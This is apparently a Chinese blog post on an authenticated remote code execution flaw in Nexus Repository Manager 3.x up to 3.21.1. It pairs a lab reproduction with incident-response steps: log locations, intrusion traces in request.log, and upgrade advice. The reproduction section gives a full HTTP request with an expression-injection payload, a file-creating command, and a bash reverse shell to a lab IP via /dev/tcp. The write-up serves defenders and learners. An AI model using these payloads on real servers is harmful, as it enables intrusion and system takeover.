大柚子

这世界不过如此

概述

nexus的全称是Nexus Repository Manager,是Sonatype公司的一个产品。它是一个强大的仓库管理器,极大地简化了内部仓库的维护和外部仓库的访问。

主要用它来搭建公司内部的maven私服。但是它的功能不仅仅是创建maven私有仓库这么简单,还可以作为nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt等的私有仓库,功能非常强大。

在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某处功能安全处理不当,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码,获取系统权限。此漏洞的利用需要攻击者具备任意类型的账号权限。

影响版本

Nexus Repository Manager OSS/Pro 3.x <= 3.21.1

漏洞复现

首先使用账号密码登录后台:admin/admin,登录成功后使用F12找到cookiee并且复制csrf-Token的值

1、测试漏洞poc

浏览器访问”http://192.168.52.131:8081/service/rest/beta/repositories/go/group”,并使用burpsuite抓包,将上一步获取的cookie和“NX-ANTI-CSRF-TOKEN”粘贴上去,可以看到成功执行”3*3*3“的指令


POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 192.168.52.131:8081
Content-Length: 203
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.52.131:8081
Content-Type: application/json
<strong>NX-ANTI-CSRF-TOKEN: 0.7163360158530498</strong>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
<strong>Cookie:</strong> NX-ANTI-CSRF-TOKEN=0.7163360158530498; NXSESSIONID=0cccc79d-1cea-4e48-a0a5-e5df8ff02dbd
Connection: close

{
  "name": "internal",
  "online": true,
  "storage": {
    "blobStoreName": "default",
    "strictContentTypeValidation": true
  },
  "group": {
    "memberNames": &#91;"$\\A{3*3*3}"]
  }
}

2、测试创建文件

同上一步一样抓包重放,把“9*9”的命令修改为创建一个文件,可以看到docker容器中成功创建成功


$\\A{''.getClass().forName('java.lang.Runtime').getMethods()&#91;6].invoke(null).exec('touch /tmp/11.txt')}

3、反弹shell

执行反弹shell参照执行写入文件的payload,将其创建命令修改为反弹shell命令,在攻击机上使用nc监听。


$\\A{''.getClass().forName('java.lang.Runtime').getMethods()&#91;6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&amp;/dev/tcp/192.168.52.133/1234&lt;&amp;1')}

应急排查

1、nexus自身的配置

a、判断启动时默认端口号

nexus目录下,cd etc,可以查看端口号和ip地址

“/opt/sonatype/nexus/etc/nexus-default.properties” 中的”application-port“参数

b、查看日志存储位置

 nexus/bin/nexus.vmoptions //虚拟机选项配置文件,可以修改数据、日志存储位置

c、nexus3服务启动用户

nexus3启动用户

d、日志内容查看

根据配置文件,进入”/opt/sonatype/sonatype-work/nexus3/log“,目录下,查看日志文件

通过查看request.log日志文件


记录格式:
192.168.52.129 - admin &#91;31/Mar/2022:03:06:36 +0000] "POST /service/rest/beta/repositories/go/group HTTP/1.1" 400 336 106 9 "Mozilla/5.0 (Windows NT 10.0; Win64;

从格式可以看到访问访问IP为:192.168.52.129,用户为admin,url”/service/rest/beta/repositories/go/group“ 状态码为400,这些都是被入侵的痕迹,可依据此锁定入侵时间

同时再dock日志中,会有”Ajava.lang.UNIXProcess@“字样的记录,这是攻击的回包的内容。

修复建议

官方已发布新版本修复了该漏洞,建议升级至最新版本

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。